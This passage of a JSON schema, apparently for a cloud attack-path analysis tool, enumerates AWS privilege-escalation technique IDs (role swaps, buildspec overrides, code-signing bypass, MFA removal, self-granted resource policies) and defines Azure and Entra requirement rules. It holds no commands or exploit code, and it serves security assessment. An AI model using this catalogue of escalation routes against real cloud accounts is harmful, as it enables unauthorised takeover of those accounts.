"ssm_maintenance_window_run_command_target", + "ssm_managed_instance", + "ssm_new_automation_document_executable", + "ssm_shell_association_targets", + "ssm_shell_document_on_online_instance", + "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", + "synthetics_existing_canary_dry_run_code", + "target_codecommit_git_permission", + "target_console_login_without_mfa", + "target_in_other_account", + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" + ] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [ + "agentcore_existing_code_interpreter_role_ready", + "agentcore_existing_runtime_update_and_invoke", + "agentcore_new_harness_generated_scope_and_role_ready", + "agentcore_new_interpreter_broad_name_and_role_ready", + "agentcore_new_runtime_generated_scope_and_role_ready", + "amplify_compute_role_ssr_effect_unverified", + "amplify_service_role_build_effect_unverified", + "amplifybackend_create_token_backend_scope", + "apprunner_existing_customer_account", + "apprunner_existing_image_service_update", + "apprunner_existing_instance_role_update", + "apprunner_mutable_ecr_autodeploy_instance_role", + "appstream_existing_app_block_builder_role_session", + "appstream_existing_app_block_builder_role_swap", + "appstream_existing_fleet_role_session", + "appstream_existing_fleet_role_swap", + "appstream_existing_image_builder_role_session", + "appstream_new_app_block_builder_with_role", + "appstream_new_fleet_with_role", + "appstream_new_image_builder_with_role", + "appsync_new_api_global_setup", + "assumable_role_allows_account_admin", + "athena_existing_notebook_url_role", + "athena_existing_session_calculation_role", + "athena_existing_spark_connect_role", + "autoscaling_created_launch_input_role_effect_reviewed", + "batch_existing_definition_submitjob_role", + "batch_new_job_and_ec2_queue_authorized", + "bedrock_agent_actiongroup_lambda_execution_unverified", + "braket_createjob_device_authorized", + "cloudcontrol_source_can_create_admin_user", + "cloudformation_attached_role_changeset_executable", + "cloudformation_attached_role_stack_updatable", + "cloudformation_existing_stack_updatable_with_role", + "cloudformation_extension_package_and_invocation", + "cloudformation_new_changeset_with_role", + "cloudformation_new_stack_with_role", + "cloudformation_service_managed_stackset_targetable", + "cloudfront_edge_distribution_and_service_roles", + "codebuild_existing_project_buildspec_override", + "codebuild_existing_project_role_and_build", + "codebuild_existing_project_update_buildspec", + "codebuild_new_project_role_and_build", + "codebuild_running_sandbox_command", + "codebuild_running_sandbox_connection", + "codebuild_ssm_debug_session_role_effect_reviewed", + "codepipeline_existing_project_update_buildspec", + "codepipeline_new_codecommit_project_route", + "codepipeline_new_ecr_project_route", + "codepipeline_new_s3_project_route", + "config_automatic_remediation_effect_unverified", + "created_org_access_role_assumable", + "datapipeline_existing_customer_role_pair_and_runnable_ec2", + "deadline_existing_queue_role_vend", + "deadline_existing_worker_role_vend", + "deadline_fleet_worker_binding_unverified", + "deadline_fleet_worker_bounded_authority_reviewed", + "deadline_new_worker_role_vend", + "deadline_passrole_queue_role_vend", + "devicefarm_existing_project_new_web_test_role", + "devicefarm_existing_test_spec_role_effect_reviewed", + "ec2_instance_connect_same_running_role_host", + "ec2_instance_running", + "ec2_runinstances_instance_role_effect_reviewed", + "ec2_runinstances_launch_with_passed_profile_unverified", + "ec2_spot_fleet_instance_role_effect_reviewed", + "ec2_spot_fleet_roles_ready", + "ec2_spot_request_instance_role_effect_reviewed", + "ec2_userdata_restart_execution_reviewed", + "ecs_container_instance_exists", + "ecs_exec_live_task_role", + "ecs_existing_task_override_runnable_with_role", + "ecs_external_service_taskset_ready", + "ecs_new_task_definition_eventbridge_schedule_ready", + "ecs_new_task_definition_runtask_ready", + "ecs_new_task_definition_service_ready", + "ecs_new_task_definition_starttask_ready", + "ecs_privileged_task_exact_host_ready", + "ecs_task_definition_exists", + "eks_cluster_exists", + "eks_existing_self_access_entry_can_receive_cluster_admin", + "eks_new_self_access_entry_can_receive_cluster_admin", + "elasticbeanstalk_environment_role_effect_reviewed", + "elasticbeanstalk_environment_role_execution_unverified", + "emr_cluster_endpoint_role_effect_unverified", + "emr_cluster_session_runtime_role", + "emr_containers_endpoint_route", + "emr_containers_job_route", + "emr_containers_pod_identity_job_route", + "emr_existing_cluster_runtime_step_role", + "emr_existing_cluster_step_instance_role", + "emr_new_cluster_instance_role_effect_reviewed", + "emr_new_cluster_role_execution_unverified", + "emr_serverless_job_route", + "eventbridge_subscriber_has_active_bus_and_bound_permissions", + "flink_existing_streaming_inline_code_update", + "flink_existing_studio_role_session", + "flink_new_application_startable", + "gamelift_existing_shared_fleet_role_shell", + "gamelift_new_controlled_build_fleet_role", + "gameliftstreams_controlled_application_role_session", + "gameliftstreams_live_role_session_admin_shell", + "glue_existing_dev_endpoint_ssh_access", + "glue_existing_job_has_runnable_trigger", + "glue_existing_job_script_object_writable_and_runnable", + "glue_existing_session_ready_for_statement", + "glue_job_override_arguments_available", + "glue_job_role_and_execution_bind", + "glue_new_public_dev_endpoint_role", + "glue_new_session_with_statement", + "grafana_api_key_workspace_eligible", + "grafana_existing_admin_service_account_token_ready", + "grafana_saml_workspace_active", + "grafana_service_account_workspace_eligible", + "group_adds_policy_to_source", + "iam_new_role_cross_account_trust", + "iam_role_boundary_admin_gain", + "iam_user_access_key_capacity", + "iam_user_boundary_admin_gain", + "imagebuilder_component_publish_and_pipeline_start", + "iot_existing_alias_new_policy_certificate_same_region", + "iot_new_alias_policy_certificate_same_region", + "kafkaconnect_plugin_execution_unverified", + "lambda_enforced_zip_function_signing_bypass_and_invoke", + "lambda_enforcing_code_signing", + "lambda_existing_sqs_queue_function_and_role", + "lambda_existing_zip_function_direct_invoke_ready", + "lambda_existing_zip_function_role_swap_ready", + "lambda_microvm_shell_runnable_image_and_role", + "lambda_new_dynamodb_stream_function_and_role", + "lambda_policy_rewrite_zip_code_and_invoke_ready", + "lambda_signer_trusted_profile_artifact_unverified", + "m2_existing_environment_new_application_deploy", + "mfa_enrollment_credential_ready", + "mfa_removal_password_ready", + "mgh_automation_unit_home_region_target_and_run", + "migrationhub_orchestrator_bound_workflow_script_and_managed_target", + "mwaa_existing_dag_object_execution_role", + "mwaa_existing_environment_update_with_dag_code", + "mwaa_serverless_new_workflow_definition_and_start", + "quicksight_existing_iam_user_self_admin", + "quicksight_subscribed", + "role_trust_rewrite_assumable", + "rolesanywhere_anchor_profile_trust_join", + "rolesanywhere_new_anchor_profile_role_ready", + "sagemaker_attach_new_notebook_lifecycle_config", + "sagemaker_attached_notebook_lifecycle_update", + "sagemaker_domain_default_new_profile_route", + "sagemaker_existing_profile_role_swap_route", + "sagemaker_hpo_script_mode_route", + "sagemaker_hyperpod_custom_ami_group_role_effect", + "sagemaker_job_execution_route_unverified", + "sagemaker_new_notebook_creation_and_url_authorized", + "sagemaker_new_profile_app_route", + "sagemaker_notebook_instance_accessible", + "sagemaker_processing_inline_entrypoint_route", + "sagemaker_studio_profile_iam_domain_ready", + "sagemaker_studio_profile_lcc_route", + "sagemaker_studio_shared_space_lcc_route", + "sagemaker_training_inline_entrypoint_route", + "service_specific_credential_ready", + "servicecatalog_new_artifact_effect_unverified", + "sfn_existing_state_machine_update_and_start", + "sfn_role_sdk_effect_reviewed", + "source_attached_admin_policy_version_exists", + "source_attached_policy_version_capacity", + "source_boundary_allows_account_admin", + "source_in_org_management_account", + "spot_request_with_passed_profile_and_role_ready", + "ssm_existing_automation_runtime_role_effect_reviewed", + "ssm_hybrid_sendcommand_role", + "ssm_hybrid_startsession_role", + "ssm_incident_response_plan_runs_new_automation_document", + "ssm_jit_approved_online_instance", + "ssm_maintenance_window_automation_task_ready", + "ssm_maintenance_window_run_command_target", + "ssm_managed_instance", + "ssm_new_automation_document_executable", + "ssm_shell_association_targets", + "ssm_shell_document_on_online_instance", + "ssm_shell_session_on_online_instance", + "stepfunctions_teststate_privileged_task_unverified", + "synthetics_existing_canary_dry_run_code", + "target_codecommit_git_permission", + "target_console_login_without_mfa", + "target_in_other_account", + "target_ssh_public_key_capacity", + "workspaces_instances_bound_launch_role_effect" + ] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/aws_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/aws_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "aws_challenge_foothold", + "aws_group", + "aws_identity_center_user", + "aws_role", + "aws_user" + ] + }, + { + "items": { + "enum": [ + "aws_challenge_foothold", + "aws_group", + "aws_identity_center_user", + "aws_role", + "aws_user" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "k8s_cluster_admin" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "assigned_to_identity_center_group": { + "const": true, + "description": "Permission set / user is reachable through an Identity Center group assignment (not collected)." + }, + "assumable_by_pivot_role": { + "const": true, + "description": "Role the pivot role ({pivot}, e.g. a StackSet administration role) can assume: its trust admits the pivot role (or its account) and the pivot's identity policy allows sts:AssumeRole on it (trust naming the pivot ARN in the same account suffices). For StackSets, a new or existing self-managed StackSet route must also reach the target account. The pivot itself is excluded; roles in other accounts are included." + }, + "attached_resource_covered_by": { + "description": "The resource carrying the target role ({target.attached_resource_arn}) is covered by the action.", + "minLength": 1, + "type": "string" + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "aws_cases_tag_self_grant": { + "const": true, + "description": "Reviewed Cases domain tag change unlocking PutCaseEventConfiguration for the source." + }, + "aws_challenge_fact": { + "description": "Exact externally verified technique/source/target evidence from aws_privesc_challenge_evidence. Missing or incomplete evidence is unresolved; a different source or target never matches.", + "type": "string" + }, + "aws_dynamodb_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself GetItem on an exact AWS-owned-key table through PutResourcePolicy." + }, + "aws_efs_policy_self_grant": { + "const": true, + "description": "Reviewed ClientMount self-grant for the exact EFS file system." + }, + "aws_s3_access_grants_self_grant": { + "const": true, + "description": "Reviewed exact S3 Access Grants session with new READ permission on a bounded prefix." + }, + "aws_s3_policy_self_grant": { + "const": true, + "description": "Reviewed exact S3 bucket-policy self-grant for the caller and a bounded object prefix." + }, + "aws_scheduler_iam_self_grant": { + "const": true, + "description": "Exact Scheduler schedule and passed role can add an inline policy to its creator through a role-authorized IAM target API." + }, + "aws_scheduler_iam_self_grant_update": { + "const": true, + "description": "An exact existing Scheduler schedule and passed role can add an inline policy to the caller through a role-authorized IAM target API." + }, + "aws_secretsmanager_policy_self_grant": { + "const": true, + "description": "Reviewed GetSecretValue self-grant for the exact IAM user and secret." + }, + "aws_sitewise_portal_self_grant": { + "const": true, + "description": "Reviewed SiteWise Monitor portal ADMINISTRATOR grant to the source identity." + }, + "aws_sns_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself Subscribe on an exact topic through SetTopicAttributes." + }, + "aws_sqs_policy_self_grant": { + "const": true, + "description": "Same-account IAM user can grant itself ReceiveMessage on an exact queue through SetQueueAttributes; an SSE-KMS queue also needs effective Decrypt on its collected key." + }, + "codedeploy_group_instance_role_covered_by": { + "description": "Target role is the instance role of a CodeDeploy deployment group covered by the action (not collected).", + "minLength": 1, + "type": "string" + }, + "cognito_developer_authenticated_role": { + "const": true, + "description": "Target role is the authenticated role of an identity pool with a developer provider, with trust admitting that pool's authenticated Cognito web identity." + }, + "cognito_developer_classic_role": { + "const": true, + "description": "Target role trusts the authenticated web identity of a developer identity pool whose Basic (Classic) flow is enabled, whether or not it is the pool's default role." + }, + "cognito_developer_enable_classic_role": { + "const": true, + "description": "Target role trusts a developer identity pool whose Basic (Classic) flow is disabled; the source can enable that flow and mint a developer token for the same pool." + }, + "cognito_developer_settable_authenticated_role": { + "const": true, + "description": "Target role can become the authenticated role of a collected developer identity pool and trusts that pool's authenticated web identity; the source must be able to mint a developer token for the same pool." + }, + "cognito_guest_update_classic_role": { + "const": true, + "description": "Target role trusts the unauthenticated web identity of a collected identity pool without role mappings; the source can enable guest and Basic flow on that pool." + }, + "cognito_user_pool_covered_by": { + "description": "Target role is mapped by an identity pool to a user pool covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (identity-pool roles not collected).", + "minLength": 1, + "type": "string" + }, + "cognito_user_pool_group_role_covered_by": { + "description": "Target role is the RoleArn of a user-pool group covered by the action; dropped when the account's cognito_user_pool inventory is collected and empty, otherwise unknown (groups not collected).", + "minLength": 1, + "type": "string" + }, + "consumer_input_writable_via": { + "description": "The source can write an input ({target.consumer_input_arn}) consumed by the target workload with the action.", + "minLength": 1, + "type": "string" + }, + "ecs_container_instance_role_in_cluster_covered_by": { + "description": "Target role is the instance role of an ECS container instance or the task role of a task placed on one (dropped when every cluster has 0 container instances; unknown without container-instance/task inventory).", + "minLength": 1, + "type": "string" + }, + "ecs_task_colocated_with_source_container_instance": { + "description": "Value {source.arn}: the source is an EC2 container-instance role and the target task or task-execution role runs (or, without placement facts, may run: unknown) on an EC2 container instance carrying the source's instance profile.", + "type": "string" + }, + "ecs_task_role_on_ec2_capacity": { + "const": true, + "description": "Target role is the taskRoleArn of an EC2/EXTERNAL-capable task definition (or of a running EC2 task) in an account whose ECS clusters have registered container instances; dropped when no such definition exists or every cluster has 0 container instances, conditional without task placement, unknown without task-definition inventory." + }, + "eks_authentication_mode": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "EKS cluster accessConfig.authenticationMode is one of the values (API, API_AND_CONFIG_MAP, CONFIG_MAP); unknown when not collected." + }, + "emr_runtime_role_of_cluster": { + "const": true, + "description": "Role trust names an EC2 instance-profile role used by an EMR cluster with a security configuration (runtime roles); unknown without emr_cluster inventory." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "has_instance_profile": { + "description": "Role is in at least one instance profile (InstanceProfileList).", + "type": "boolean" + }, + "has_login_profile": { + "description": "IAM user has (true) / lacks (false) a console password (LoginProfile detail).", + "type": "boolean" + }, + "instance_profile_name_prefix_or_path": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "One of the role's instance profiles has a name starting with the value, or (values starting with '/') a path containing it." + }, + "name_prefix": { + "description": "Role name (and instance-profile name) starts with the value.", + "type": "string" + }, + "org_member_account": { + "const": true, + "description": "Target belongs to an operational organization member account (not the management account); unknown without organization_account." + }, + "portfolio_of_target_product_covered_by": { + "description": "Target role is the launch-constraint role of a Service Catalog product in a portfolio ({target.portfolio_arn}); unknown without servicecatalog_portfolio inventory.", + "minLength": 1, + "type": "string" + }, + "quicksight_existing_iam_user": { + "const": true, + "description": "Existing active QuickSight IAM user with a non-admin role and an exact principal ID; only its matching IAM user can gain this application-plane authority." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "rolesanywhere_profile_includes_target": { + "const": true, + "description": "Target role is listed in an IAM Roles Anywhere profile ({target.rolesanywhere_profile_arn}, accepting {target.trust_anchor_arn}); dropped when the account's rolesanywhere_trust_anchor inventory is collected and empty, otherwise unknown (profiles not collected)." + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "service_plane": { + "description": "aws_service_plane_admin: the managed service whose application plane is administered (amplifybackend|connect|grafana|quicksight|scn; IAM service prefix).", + "enum": [ + "amplifybackend", + "connect", + "grafana", + "quicksight", + "scn" + ] + }, + "source_attached_policy_covered_by": { + "description": "A customer-managed policy attached to the source ({source.attached_policy_arn}) is covered by the action.", + "minLength": 1, + "type": "string" + }, + "source_group_covered_by": { + "description": "Source is a member of an IAM group ({source.group_arn}) on which it holds the action.", + "minLength": 1, + "type": "string" + }, + "source_kind": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Technique only applies when the source principal is of this kind." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + }, + "trust_allows_emr_containers_oidc": { + "const": true, + "description": "Role trusts an EKS OIDC provider with a sub condition on emr-containers-sa-* service accounts (EMR on EKS execution role)." + }, + "trust_allows_federated": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trust policy allows Principal.Federated equal to the value (e.g. cognito-identity.amazonaws.com)." + }, + "trust_allows_oidc_provider_covered_by": { + "description": "Role trusts an IAM OIDC provider ({target.oidc_provider_arn}); the entry's requirements on that ARN carry the action.", + "minLength": 1, + "type": "string" + }, + "trust_allows_principal_of_source": { + "const": true, + "description": "Role trust policy allows the source principal ARN, the source account (root/ID) or '*'." + }, + "trust_allows_principal_org": { + "const": true, + "description": "Role trust allows Principal '*' restricted by aws:PrincipalOrgID / aws:PrincipalOrgPaths, satisfied by an account of the snapshot's organization (unknown without the organization id)." + }, + "trust_allows_saml_provider_covered_by": { + "description": "Role trusts a SAML provider ({target.saml_provider_arn}) on which the source holds the action.", + "minLength": 1, + "type": "string" + }, + "trust_allows_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trust policy allows sts:AssumeRole for every named Principal.Service; a list requires all services." + }, + "trust_federated_provider_missing": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Role trusts a SAML ('saml') or OIDC ('oidc') provider ARN of its own account that does not exist (iam_saml_provider / iam_oidc_provider inventory; unknown when not collected)." + }, + "via_artifact_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target role's workload consumes an artifact ({target.artifact_arn}) of that type; artifact consumers are not collected (unknown)." + }, + "via_assumable_role_attached_policy_covered_by": { + "description": "An assumable same-account role becomes admin after the source creates a default version of an attached customer policy.", + "minLength": 1, + "type": "string" + }, + "via_assumable_role_covered_by": { + "description": "The source can assume a role on which it also holds the action (two-step self-escalation).", + "minLength": 1, + "type": "string" + }, + "via_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target role is attached to an existing resource of that type ({target.resource_arn}); lambda_function, ec2_instance, codebuild_project, glue_job, redshift_cluster, rds_db_instance, sagemaker_notebook_instance and redshift_serverless_workgroup are collected, other types are unknown when the role trusts the type's service (imagebuilder_pipeline: ec2.amazonaws.com)." + } + }, + "type": "object" + } + } + } + } + }, + "azure_conjunction": { + "items": { + "$ref": "#/$defs/azure_item" + }, + "minItems": 1, + "type": "array" + }, + "azure_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/azure_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/azure_item" + }, + { + "$ref": "#/$defs/azure_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "azure_item": { + "anyOf": [ + { + "$ref": "#/$defs/azure_requirement" + }, + { + "$ref": "#/$defs/azure_group" + } + ] + }, + "azure_requirement": { + "additionalProperties": false, + "dependentRequired": { + "catalog": [ + "entra_catalog_role" + ], + "entra_owner_of": [ + "object_type" + ], + "fabric_workspace": [ + "fabric_workspace_role" + ], + "object_type": [ + "entra_owner_of" + ] + }, + "oneOf": [ + { + "not": { + "anyOf": [ + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "action" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "graph_app_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_owner_of" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_tenant_setting" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "entra_group_member" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "intune_permission" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "fabric_workspace_role" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "entra_catalog_role" + ] + } + ] + }, + "required": [ + "intune_permission" + ] + }, + { + "not": { + "anyOf": [ + { + "required": [ + "action" + ] + }, + { + "required": [ + "entra_permission" + ] + }, + { + "required": [ + "entra_role" + ] + }, + { + "required": [ + "graph_app_permission" + ] + }, + { + "required": [ + "entra_owner_of" + ] + }, + { + "required": [ + "entra_pim_eligible_role" + ] + }, + { + "required": [ + "entra_tenant_setting" + ] + }, + { + "required": [ + "entra_group_member" + ] + }, + { + "required": [ + "fabric_workspace_role" + ] + }, + { + "required": [ + "intune_permission" + ] + } + ] + }, + "required": [ + "entra_catalog_role" + ] + } + ], + "properties": { + "action": { + "description": "ARM action (or dataAction with data_action: true).", + "minLength": 1, + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "catalog": { + "description": "Catalog id, '{target.catalog}' or '*'.", + "type": "string" + }, + "data_action": { + "type": "boolean" + }, + "directory_scope": { + "type": "string" + }, + "entra_catalog_role": { + "description": "Entitlement-management catalog role (display name or role definition id).", + "minLength": 1, + "type": "string" + }, + "entra_group_member": { + "description": "Source is a (transitive) member of the Entra group (display name or object id).", + "minLength": 1, + "type": "string" + }, + "entra_owner_of": { + "minLength": 1, + "type": "string" + }, + "entra_permission": { + "description": "microsoft.directory/... permission.", + "minLength": 1, + "type": "string" + }, + "entra_pim_eligible_role": { + "minLength": 1, + "type": "string" + }, + "entra_role": { + "description": "Entra directory role (name or template id).", + "minLength": 1, + "type": "string" + }, + "entra_tenant_setting": { + "enum": [ + "guest_invites_allowed_for_source" + ] + }, + "fabric_workspace": { + "description": "Fabric workspace id, '{target.host_resource}' or '*'.", + "type": "string" + }, + "fabric_workspace_role": { + "description": "Fabric workspace role at least as strong as 